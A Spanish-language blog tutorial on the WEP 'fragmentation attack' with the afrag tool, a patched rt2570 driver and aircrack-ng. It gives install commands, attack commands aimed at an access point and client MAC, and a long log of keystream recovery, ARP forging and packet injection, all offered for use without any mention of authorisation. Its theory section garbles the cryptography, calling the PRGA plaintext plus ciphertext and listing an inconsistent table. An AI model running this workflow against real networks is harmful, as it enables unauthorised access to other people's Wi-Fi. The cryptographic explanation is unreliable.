Ataque de Fragmentacion

 Nota: Se ha respetado al máximo el contenido original de la fuente del manual, si bien se han añadido breves correcciones para adaptarlo al formato de la web, correcciones mínimas siempre aprobadas por el autor del tutorial base.

Ataque de fragmentación con driver rt2570 modificado por ASPj ….. AFRAG

La verdad que he visto muy poca información sobre este ataque. Hasta para mi que aun no ha sido testeado del todo. Pero Bueno para eso estamos nosotr@s.

Se ve que este ataque solo lo soportan las tarjetas USB con driver rt2xx0, aunque llegara el día en los demás chipsets también.

Parece ser que los routers que se resisten al chopchop, son altamente vulnerables con el Ataque de fragmentación

Aparte, recomiendo que lo hagáis con la distro de Back Track 2.0 Beta o con Wifislax, con troppix 1.2 no me ha funcionado. En el foro del aircrack-ng dicen que con ubuntu tampoco. TODO ES PROBAR

UN POCO DE TEORIA

Digamos que el ataque de fragmentación lo q intenta conseguir es el PRGA

Q es el PRGA: pues bien es (texto plano + texto cifrado) y este se usa para la encriptación del paquete.

Un ejemplo: 0011(texto plano)+0110(texto cifrado)=0101(PRGA)

Así que si conseguimos interceptar texto cifrado y sabemos cual es el texto plano pues podemos averiguar el PRGA y una vez averiguado usarlo para encriptar cualquier paquete y así poder generar trafico.

PAQUETE ENCRIPTADO=IV + texto cifrado  + PRGA

PRGA=       0000                       0
                 0001                       1
                 0010                       2           
                 0011                       3
                 0100                       4
                 0101                       5
                 0110                       6
                 0111                       7
                 1111                       8

Bueno el programa lo que hace en si,  es capturar un paquete cifrado  de la victima que debe estar encriptado mediante WEP,  sino no vale.
Mediante este paquete saca lo que se llama el Keystream q es lo mismo que decir el Ciphertext(texto cifrado) q es de una longitud de 8 bytes (7 bytes + 1 de flag).

Una vez que tenemos el texto cifrado es fácil hacer el ataque, recordemos que texto plano + texto cifrado = PRGA

Pues bien si nosotros creamos un texto plano y lo intentamos codificar (Ingenieria inversa) si el AP responde ese es el PRGA correcto y ya lo tenemos.

Para ello trataremos de recobrar la keystream en dos modalidades 8 bytes y  408 bytes.

Generando nosotr@s mismo , el paquete a enviar por si acaso por si el AP tirase paquetes para atrás, se van utilizar 3 paquetes distintos para el ataque.(LLC NULL, ARP, y un paquete normal cifrado) (alguno responderá al engaño)

Veamos como esta la estructura interna de cada paquete.

PARA ATAQUE CON KEYSTREAM DE 8 BYTES:

LLCNULL ( 63 bytes + 8keystream = 71 bytes )
ARP( 60 bytes + 8keystream = 68 bytes )
PAQUETE  CREADO POR ASPj (66bytes + 8 keystream = 74bytes )

PARA ATAQUE CON KEYSTREAM DE 408 BYTES:

LLCNULL (448 bytes)
ARP(416 bytes)

Si al hacer el ataque el AP responde es debido a q el PRGA  que hemos usado es el bueno sino el programa seguirá probando con las posibilidades restantes, como son solo 8 posibilidades en total este ataque es muy rápido , en  cuestión de segundos.

Una vez conseguido el PRGA VALIDO el programa creará el archivo XOR de esta forma:
 

Citar

xor( keystream,  iv , prga , 36) en el caso de 8 bytes
xor( keystream,  iv , prga , 432) en el caso de 408
bytes

Traducción por Thefkboss 

Pasamos a definir y estructuras los puntos mas determinantes de todo el proceso.

– Descargamos el live-cd Back | Track

– Instalar el driver

– Instalamos la suite del aircrack-ng Mother Fucker Edition 0.8

– Instalamos la aplicación afrag

– Entramos en acción

– README del afrag

– Capturas de pantalla del proceso

– Tipología de errores

– Enlaces subyacentes

Nota: esperamos y deseamos que este tutorial pueda seguir aumentado su contenido en días venideros acorde a todas las pruebas que se hayan producido, penar que es un proceso que seguramente no estará al alance de todos y el cual seguramente os encontrareis con algunas barreras para poder llevarlo a buen puerto. No obstante, seguramente y derivado de la experiencia generada entre todos podremos contemplar en este portal o en los foros respectivos toda la evolución necesaria para que este modelo de actuación este al alcance de todos. Recordar inicialmente lo que ha sostenido el autor del mismo, haciendo hincapié en que no esta testeado del todo, pero que para eso estamos todos nosotr@s.

Entramos en materia importante:

1.- Descargamos el live-cd Back | Track

Para acceder a zona de descarga de esta distribución linux, pinché: aqui

2.- Instalamos el modulo del driver rt2570

Lo primero que he echo es instalar el driver nuevo:

drivers : rt2570-k2wrlz-1.4.9

Para descarga directa del driver, pinché: aqui

Necesitamos Internet con otra tarjeta para que funcione este script.

Sino ya sabéis, os descargáis el paquete comprimido y luego lo hacéis manualmente, exceptuando el paso de la orden wget.

ifconfig rausb0 down

rmmod rt2570

wget http://homepages.tu-darmstadt.de/~p_larbig/wlan/rt2570-k2wrlz-1.4.9.tar.bz2

tar -xvjf rt2570-k2wrlz-1.4.9.tar.bz2

cd rt2570-k2wrlz-1.4.9/Module

make && make install

modprobe rt2570

ifconfig rausb0 up
 

3.- Instalamos la suite del aircrack-ng Mother Fucker Edition 0.8

Ahora instalamos la suite del aircrack-ng Mother Fucker Edition 0.8.

Esta script solo es valida si disponemos de una conexión a Internet, al igual que en el caso que hemos comentado con el driver anterior.

wget http://www.bluntmen.com/aircrack-ng-0.6_motherfucker_edition_0.8.tar.gz
tar -zxvf aircrack-ng-0.6_motherfucker_edition_0.8.tar.gz
cd aircrack-ng-0.6_motherfucker_edition_0.8
make && make install

4.- Instalamos la aplicación afrag

Una vez tenemos la nueva suite y el driver instalado, pasamos a instalar la aplicación afrag:

Hay dos formas de hacerlo, que seguidamente pasamos a describir:

4.1 Primera alternativa referente a la instalación del afrag

La suite del aircrack-ng contiene un fichero denominado Makefile, lo localizamos, usamos nuestro editor plano preferido y nos vamos al siguiente punto:

cd /<PATCH>/aircrack-ng-0.6_motherfucker_edition_0.8/complementos/afrag-0.1/
make && make install

PATCH, equivale a la ruta donde esta ubicado la suite una vez que ya la hemos descargado o guardado en nuestro sistema.

4.1 Segunda alternativa referente a la instalación del afrag

Nota del autor: recomiendo esta, porque es la que me ha funcionado.

Nos vamos a esta pagina:

homepages.tu-darmstadt.de y nos descargamos afrag-0.1.tar.bz2

Descarga directa

cp /<PATCH1>/afrag-0.1.tar.bz2  /<PATCH2>
 bzip2 -dc afrag-0.1.tar.bz2 | tar -xv
cd afrag-0.1
gcc -o afrag afrag.c  //compilamos

PATCH1, equivale a la ruta donde esta ubicado el archivo bz2 que nos hemos de homepages.tu-darmstadt.de

PATCH2, equivale a la ruta donde esta situada la suite del aircrack-ng ME 0.8

Nota: Supongo muchos de ustedes tienen la duda respecto al PATCH2, el autor no dudara en explicárnoslo

Ya tenemos todo listo.

IMPORTANTE! SCRIPT DE INSTALACIÓN

si queréis ahorraros todo este proceso, solo tenéis que descargaros este archivo de texto y tener Internet con otro dispositivo que no sea el USB Wireless ..
meterlo en una memoria USB y ejecutarlo así desde donde lo tengáis :
cd /donde_este_script      (ejem: cd /mnt/sda1/ )
./airfrag

script  “airfrag.txt”
http://www.megaupload.com/?d=XKUMA311

5.- Entramos en acción

Abrimos shell en linux y ejecutamos los siguientes comandos:

#Activamos la tarjeta
ifconfig rausb0 up

#ponemos la tarjeta a punto
iwconfig rausb0 rate 1M channel [CANAL_DEL_AP] mode  monitor

#Capturamos con airodump
airodump-ng –ivs -w fragmentacion -c [CANAL_DEL_AP] rausb0

#Creamos el .xor para forjar el ARP….esto es la #fragmentación………Con el keystream podemos…
# Tarda unos 10 segundos más o menos…….si todo va bien
./afrag rausb0 [MAC_AP] [MAC_CLIENTE] FF:FF:FF:FF:FF:FF 192.168.1.23 192.168.1.24 dudu.xor

#Forjamos nuestro queridísimo ARP, para que funcione pondra: Done
arpforge-ng dudu.xor 1   [MAC_AP] [MAC_CLIENTE]  192.168.1.23 192.168.1.24 test.cap

# Lo reinyectamos………con Aireplay -2
aireplay-ng -2 rausb0 -r test.cap

Y veríamos como los datas incrementan en el airodump………. 

6.- Anexo A

Aquí os muestro el README del AFRAG de ASPj.

Citar
haquetop2:/afrag-0.1 # gcc -o afrag afrag.c
afrag.c:888:2: warning: no newline at end of file
haquetop2:/afrag-0.1 # ./afrag
ieee80211rawframework: Need to know your device!
haquetop2:/afrag-0.1 # ./afrag rausb0
USAGE: ./afrag <interface> <BSSID> <Client1MAC> <Client2MAC> <SrcIP> <DestIP> <PRGA-Output-Filename>
haquetop2:/afrag-0.1 # ifconfig rausb0 up
haquetop2:/afrag-0.1 # iwconfig rausb0 rate 1M channel 1 mode monitor
haquetop2:/afrag-0.1 # ./afrag rausb0 00:0F:B5:59:29:16 00:12:F0:2E:B9:34 FF:FF:FF:FF:FF:FF 192.168.1.23 192.168.1.24 test.xor
Waiting for a data packet…
Data packet found!
Keystream (recovered 7 bytes):
        Size: 7, FromDS: 1, ToDS: 0
        0x0000:  301e 313a 401e b5                        0.1:@..
Sending fragmented packet
Packet:
        Size: 60, FromDS: 0, ToDS: 1 (WEP)
        0x0000:  0841 9500 000f b559 2916 0012 f02e b934  .A…..Y)……4
        0x0010:  ffff ffff ffff 0000 aaaa 0300 0000 0806  …………….
        0x0020:  0001 0800 0604 0001 0012 f02e b934 c0a8  ………….4..
        0x0030:  0117 0000 0000 0000 c0a8 0118            …………
No answer, repeating…
Trying a LLC NULL packet
Sending fragmented packet
Packet:
        Size: 63, FromDS: 0, ToDS: 1 (WEP)
        0x0000:  0841 9500 000f b559 2916 0012 f02e b934  .A…..Y)……4
        0x0010:  ffff ffff ffff 0000 0000 0000 0000 0000  …………….
        0x0020:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x0030:  0000 0000 0000 0000 0000 0000 0000 00    ……………
No answer, repeating…
Sending fragmented packet
Packet:
        Size: 60, FromDS: 0, ToDS: 1 (WEP)
        0x0000:  0841 9500 000f b559 2916 0012 f02e b934  .A…..Y)……4
        0x0010:  ffff ffff ffff 0000 aaaa 0300 0000 0806  …………….
        0x0020:  0001 0800 0604 0001 0012 f02e b934 c0a8  ………….4..
        0x0030:  0117 0000 0000 0000 c0a8 0118            …………
Got RELAYED packet!!
Data packet sniffed:
        Size: 71, FromDS: 1, ToDS: 0 (WEP)
        0x0000:  0842 9500 ffff ffff ffff 000f b559 2916  .B………..Y).
        0x0010:  0012 f02e b934 2009 0000 1800 df12 1f0f  …..4 ………
        0x0020:  b4b1 a561 1e67 4879 cbdc 8668 87b6 43ee  …a.gHy…h..C.
        0x0030:  22da 739f fd26 8450 21fc bda8 d90c 84b6  “.s..&.P!…….
        0x0040:  a55f bb1c 4ff7 e8                        ._..O..
Thats our LLC Null packet!
Resulting keystream:
        Size: 36, FromDS: 1, ToDS: 0
        0x0000:  df12 1f0f b4b1 a561 1e67 4879 cbdc 8668  …….a.gHy…h
        0x0010:  87b6 43ee 22da 739f fd26 8450 21fc bda8  ..C.”.s..&.P!…
        0x0020:  d90c 84b6                                ….
Trying to get 408 bytes of a keystream
Packet:
        Size: 408, FromDS: 0, ToDS: 1 (WEP)
        0x0000:  0841 9500 000f b559 2916 0012 f02e b934  .A…..Y)……4
        0x0010:  ffff ffff ffff 0000 aaaa 0300 0000 0806  …………….
        0x0020:  0001 0800 0604 0001 0012 f02e b934 c0a8  ………….4..
        0x0030:  0117 0000 0000 0000 c0a8 0118 0000 0000  …………….
        0x0040:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x0050:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x0060:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x00b0:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x00c0:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x00d0:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        — CUT —
No answer, repeating…
Trying a LLC NULL packet
Packet:
        Size: 440, FromDS: 0, ToDS: 1 (WEP)
        0x0000:  0841 9500 000f b559 2916 0012 f02e b934  .A…..Y)……4
        0x0010:  ffff ffff ffff 0000 0000 0000 0000 0000  …………….
        0x0020:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x0030:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x0040:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x0050:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x0060:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x00b0:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x00c0:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        0x00d0:  0000 0000 0000 0000 0000 0000 0000 0000  …………….
        — CUT —
Got RELAYED packet!!
Thats our LLC Null packet!
Resulting keystream:
        Size: 432, FromDS: 0, ToDS: 1
        0x0000:  24d5 bb04 db54 0679 ce1c 4cc9 e25f ea99  $….T.y..L.._..
        0x0010:  9ce3 3fa7 0519 6dbe c761 fbb1 a9cf 741a  ..?…m..a….t.
        0x0020:  6ba2 3c42 db11 4d3d d52c 8acf d5c0 3b6b  k.<B..M=.,….;k
        0x0030:  ac21 b301 d66c 4040 5fe6 72f4 61a6 d1dd  .!…l@@_.r.a…
        0x0040:  0d00 d328 d801 b36b cdeb 0f3a 3fd1 2f48  …(…k…:?./H
        0x0050:  551c 8321 d786 5c59 6c44 566d 0517 c213  U..!..\YlDVm….
        0x0060:  5aeb d1a3 7890 1554 2aec 9a8a 53f9 f985  Z…x..T*…S…
        0x0070:  6b89 4820 3ed3 f942 cddb c6de 5789 03a9  k.H >..B….W…
        0x0080:  10a9 724b 0061 deaa 36d5 be58 864a 6145  ..rK.a..6..X.JaE
        0x0090:  9396 0520 9d50 4930 0dce f22b 0cc6 cda0  … .PI0…+….
        0x00a0:  3ee9 6a14 2220 d8b8 c1ed 16cd 6855 9d44  >.j.” ……hU.D
        0x00b0:  75e3 248a 9f9b e5aa ba17 4f64 6ab4 0dad  u.$…….Odj…
        0x00c0:  fe22 6a20 6374 93d8 0886 5f29 6373 3ca5  .”j ct…._)cs<.
        0x00d0:  0a9c 2e08 e9fe d31c e467 ce93 6535 6346  ………g..e5cF
        — CUT —
Now you can build a packet with packetforge-ng out of that keystream

haquetop2:/afrag-0.1 # arpforge-ng

  Arpforge-ng 0.6 – (C) 2006 Thomas d’Otreppe
  Original work: Christophe Devine
  http://www.aircrack-ng.org
  usage: arpforge-ng <prga file> <type> <bssid> <mac src>
                     <ip src> <ip dest> <output filename>

haquetop2:/afrag-0.1 # arpforge-ng test.xor 1 00:0F:B5:59:29:16 00:12:F0:2E:B9:34 192.168.1.23 192.168.1.24 test.cap
Done.
haquetop2:/afrag-0.1 # aireplay-ng -2 rausb0 -r test.cap

        Size: 68, FromDS: 0, ToDS: 1 (WEP)

             BSSID  =  00:0F:B5:59:29:16
         Dest. MAC  =  FF:FF:FF:FF:FF:FF
        Source MAC  =  00:12:F0:2E:B9:34

        0x0000:  0841 0201 000f b559 2916 0012 f02e b934  .A…..Y)……4
        0x0010:  ffff ffff ffff 8001 0000 2100 8e7f b804  ……….!….
        0x0020:  db54 0e7f ce1d 44c9 e45b ea98 9cf1 cf89  .T…D..[……
        0x0030:  bc2d ad16 c676 fbb1 a9cf 741a ab0a 3d5a  .-…v….t…=Z
        0x0040:  bab3 161e                                ….

Use this packet ? y

Saving chosen packet in replay_src-0929-032919.cap
You should also start airodump-ng to capture replies.

HAVE a LOT of FUN and please don’t forget to report back. THANK YOU!

ASPj
 

Aqui unas capturas del ataque de fragmentación……..

7.- Anexo B

Aquí unas capturas del ataque de fragmentación

– Error típico –


 

Conseguida la fragmentación –

Aquí esta todo.

 – REINYECTANDO –

8.- Tipología de errores

Los errores normalmente suelen ser:

* El AP suelta paquetes cortos, es invulnerable
* No estas usando el driver rt2570 1.4.9
* Tu señal es baja
* No hay tráfico, entonces sino capturas un IV no empieza
   mensaje  “Waiting a data packet!

ERROR TIPICO……
No estas capturando un buen paquete de datos……..Necesario para la fragmentación.

Nos volvemos a fijar en la imagen que presentemos en primer lugar donde se pone de manifiesto el error típico acaecido por algunos de los puntos que hemos mencionado anteriormente.

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s


A %d blogueros les gusta esto: